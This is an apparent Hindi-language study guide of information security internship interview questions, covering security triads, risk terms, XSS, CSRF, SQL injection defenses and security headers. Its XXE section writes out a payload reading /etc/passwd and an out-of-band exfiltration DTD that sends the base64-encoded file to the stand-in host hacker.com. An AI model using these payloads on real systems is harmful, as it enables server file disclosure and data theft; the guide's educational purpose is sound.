साक्षात्कार युक्तियाँ (सूचना सुरक्षा)

यह पृष्ठ उन साक्षात्कारों का सारांश है जिनसे मैं गुज़रा हूँ, इसमें कई प्रकार की भूमिकाओं को शामिल किया गया, हालाँकि कई अस्वीकृतियाँ मिलीं, परंतु प्रत्येक साक्षात्कार से सीखा, रचनात्मक प्रतिक्रियाएँ एकत्र कीं और आगे बढ़ा। आशा है ये प्रश्न/ युक्तियाँ आपकी मदद कर सकें।

यह सामान्यतः निम्नलिखित भूमिकाओं को कवर करता है:

• Cybersecurity Intern
• Penetration Testing Intern/ Red Team
• Web App/ Application Security Intern
• Product Security Intern
• Infrastructure Security Intern

त्वरित सुझाव:

• अपने रिज़्यूमे की समीक्षा करें और उससे संबंधित प्रश्न पहले से स्वयं से पूछें
• यदि आप किसी प्रश्न/अवधारणा से परिचित नहीं हैं, तो विषय के इर्द-गिर्द न घूमें, यह बताएँ कि काम करने का वातावरण मिलने पर आप उसे सीख सकते हैं
  आप सब कुछ नहीं जान सकते; यदि आपने कुछ गलत उत्तर दिया है या स्पष्टीकरण की आवश्यकता है, तो उसे स्वीकार करने में विनम्र रहें
• अपना परिचय देने के लिए पहले से अपनी एक संक्षिप्त जीवनी (bio) तैयार रखें
• अपने अंतिम लक्ष्य के प्रति सुनिश्चित रहें, और यह भी कि infosec ही क्यों?
• अंत में, साक्षात्कार के अंत में प्रतिक्रिया (feedback) अवश्य पूछें, क्यों, क्योंकि: यह infosec में आपके वर्तमान ज्ञान की कमियों को जानने और भरने में मदद करता है

मैंने नीचे उन सभी संभावित प्रश्नों को लिखने का प्रयास किया है जिनका सामना मैंने किया, और कुछ के उत्तर भी दिए हैं। बाकी के लिए आप उनके विशिष्ट उत्तर गूगल कर सकते हैं, और यदि आप गहराई में जाना चाहें। इसके अलावा, अंत में कुछ संदर्भ हैं, उन पर एक नज़र अवश्य डालें। वे वास्तव में सहायक थे।

आगे बढ़ते हुए और अपने नोट्स जाँचते हुए मैं और प्रश्न जोड़ना चाहूँगा, तथापि यदि आप [email protected] के माध्यम से संपर्क करके इस पर मुझे रचनात्मक प्रतिक्रिया दे सकें तो मैं सराहना करूँगा। यदि आपको कुछ ऐसा मिला है जो यहाँ शामिल नहीं है, तो कृपया बेझिझक साझा करें।

सामान्य प्रश्न

1. सुरक्षा त्रय (Security Triads):

CIA क्या है?

• गोपनीयता (Confidentiality)
• अखंडता (Integrity)
• उपलब्धता (Availability)

AAA क्या है?

• प्रमाणीकरण (Authentication)
• प्राधिकरण (Authorization)
• लेखांकन (Accounting)

2. Threat (खतरा), Vulnerability (भेद्यता), Exploits (शोषण) और Risk (जोखिम) के बीच अंतर तथा वे Assets (परिसंपत्तियों) से किस प्रकार संबंधित हैं

• Threat (खतरा):
  Threat वह है जिससे हम अपनी सुरक्षा करने का प्रयास कर रहे हैं
• Vulerability (भेद्यता):
  Vulnerability हमारे सुरक्षा प्रयासों में एक कमज़ोरी या अंतराल है
• Exploit (शोषण):
  एक क्षमता/प्रोग्राम (जो सॉफ़्टवेयर या सोशल इंजीनियरिंग कौशल हो सकता है) जो किसी vulnerability का लाभ उठाकर किसी asset पर हमला करने के लिए विकसित किया गया हो
• Risk (जोखिम):
  Risk, assets, threats और vulnerabilities का प्रतिच्छेदन (intersection) है
• Asset (परिसंपत्ति):
  Asset वह है जिसकी हम सुरक्षा करने का प्रयास कर रहे हैं

3. IAM क्या है और इसका उपयोग क्यों किया जाता है?
   IAM (Identity Access Management) का उपयोग किसी संगठन के भीतर भूमिकाओं और जिम्मेदारियों को अलग करने के लिए किया जाता है। यह सुरक्षा का एक महत्वपूर्ण हिस्सा है। यह एक्सेस स्तर की सुरक्षा और विशेषाधिकारों (privileges) को बनाए रखने में सहायता करता है।

सामान्य रूप से सुरक्षा

नेटवर्क घुसपैठ हमले के चरण:

• टोह लेना/ सूचना एकत्र करना (Reconnaissance/ Information Gathering)
• आवश्यक पहुँच प्राप्त करना
• पहुँच बनाए रखना
• निशान छिपाना (लॉग हटाना, बैकडोर हटाना और सभी नियंत्रण छिपाना)

वेब एप्लिकेशन सुरक्षा

1. सामान्य प्रश्न:

• OWASP Top 10

• XSS (Cross-site Scripting) क्या है

  • XSS का अभ्यास करें: [https://xss-game.appspot.com/]
  • XSS से कैसे निपटें: संक्षेप में, उचित इनपुट सत्यापन (input validation) का उपयोग करें
  • CSP (Content-Security-Policy) हेडर की जाँच करें
  • XSS के विभिन्न प्रकार: Reflected, Stored और DOM-आधारित
  • DOM में sources और sinks क्या हैं जो XSS का कारण बन सकते हैं:
    [https://www.netsparker.com/blog/web-security/dom-based-cross-site-scripting-vulnerability/]

• CSRF क्या है यह सबसे पसंदीदा प्रश्न है जिसे लगभग हर साक्षात्कारकर्ता पूछना पसंद करता है
  त्वरित सुझाव: संक्षिप्त रहें, यदि पूछा जाए तभी पूरी बात समझाएँ

  Cross-Site Request Forgery (CSRF) एक हमला है जो किसी अंतिम उपयोगकर्ता को उस वेब एप्लिकेशन पर अवांछित कार्य करने के लिए बाध्य करता है जिसमें वे वर्तमान में प्रमाणित (authenticated) हैं। CSRF हमले विशेष रूप से स्थिति-परिवर्तनकारी अनुरोधों (state-changing requests) को लक्षित करते हैं, डेटा की चोरी को नहीं, क्योंकि हमलावर के पास नकली अनुरोध के प्रत्युत्तर को देखने का कोई तरीका नहीं होता। सोशल इंजीनियरिंग की थोड़ी सी मदद से (जैसे ईमेल या चैट के माध्यम से लिंक भेजना), एक हमलावर वेब एप्लिकेशन के उपयोगकर्ताओं को धोखा देकर हमलावर द्वारा चुने गए कार्यों को करवा सकता है। यदि पीड़ित एक सामान्य उपयोगकर्ता है, तो एक सफल CSRF हमला उपयोगकर्ता को धन हस्तांतरण, ईमेल पता बदलना आदि जैसे स्थिति-परिवर्तनकारी अनुरोध करने के लिए बाध्य कर सकता है। यदि पीड़ित एक प्रशासनिक खाता है, तो CSRF पूरे वेब एप्लिकेशन से समझौता कर सकता है।

• CSRF से कैसे निपटें:
  Anti-CSRF टोकन का उपयोग करें
  समान-मूल नीति (same-origin policy) का उपयोग करें
  Referrer हेडर का उपयोग करें

• HTML/ URL एन्कोडिंग क्या है

• क्या HTTP प्रोटोकॉल स्टेटलेस (stateless) है?
  HTTP स्वाभाविक रूप से स्टेटलेस प्रोटोकॉल है, हालाँकि सर्वर इसे स्टेटफुल बनाने के लिए कुकीज़ का उपयोग करता है

• इंजेक्शन के प्रकार क्या हैं: SQL, Command, OS

• SQL इंजेक्शन से कैसे निपटें
  पैरामीटरयुक्त क्वेरी (parameterized queries) और संग्रहीत प्रक्रियाओं (stored procedures) का उपयोग करें

2. सुरक्षा प्रदान करने में सहायक हेडरों की जाँच करें (URL देखें और सामग्री पढ़ें, यह आपकी बुनियादी समझ बनाने में मदद करेगा):

• CSP (Content-Security Policy) [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy]
  [https://www.html5rocks.com/en/tutorials/security/content-security-policy/]
• CORS (Cross-Origin Resource Sharing) [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS]
• Same-Origin नीति [https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy]

3. ऐसे दुर्लभ परिदृश्य होते हैं जब कोई साक्षात्कारकर्ता ये पूछता है; कुछ साक्षात्कारों के बाद के चरणों में मुझे निम्नलिखित मिले, सोचा उल्लेख कर दूँ:

• XXE (XML External Entities) क्या है?
  XML external entity injection (जिसे XXE भी कहा जाता है) एक वेब सुरक्षा भेद्यता है जो हमलावर को किसी एप्लिकेशन की XML डेटा प्रोसेसिंग में हस्तक्षेप करने की अनुमति देती है। यह अक्सर हमलावर को एप्लिकेशन सर्वर के फाइल सिस्टम पर फ़ाइलें देखने और उन किसी भी बैकएंड या बाहरी सिस्टम के साथ अंतःक्रिया करने की अनुमति देती है, जिन तक एप्लिकेशन स्वयं पहुँच सकता है।
  इसे देखें [https://portswigger.net/web-security/xxe]
  उदा.:

  <?xml version="1.0" encoding="UTF-8"?>    
  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>     
  <stockCheck><productId>&xxe;</productId></stockCheck> 
  

  कुछ स्थितियों में, हमलावर XXE हमले को बढ़ाकर अंतर्निहित सर्वर या अन्य बैकएंड अवसंरचना से समझौता कर सकता है, XXE भेद्यता का लाभ उठाकर सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) हमले कर सकता है।
• Out-Of-Band - XML entities का उपयोग करके सर्वर से डेटा निकालकर hacker.com पर भेजा जा सकता है (कोई सर्वर आउटपुट आवश्यक नहीं)

इंजेक्ट करने हेतु: document.xml

<!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">
    %remote; %intern; %xxe;
]>
<root>&xxe;</root> - you can change xxe entity to general entity

बाहरी होस्ट: http://hacker.com/evil.dtd

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
                    --- OR ---
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'file://%payl;'>"> - consider error-based

संदर्भ: [https://phonexicum.github.io/infosec/xxe.html]

• SSRF (Server Side Request forgery) हमला क्या है इसका उपयोग आंतरिक नेटवर्क में पिवोट (pivot) करने के लिए किया जा सकता है
• 3-टियर वेब आर्किटेक्चर को कैसे सुरक्षित करें
• Kerberos क्या है https://www.varonis.com/blog/kerberos-authentication-explained/
• Secret Management और Vaults क्या हैं https://www.hashicorp.com/resources/introduction-vault-whiteboard-armon-dadgar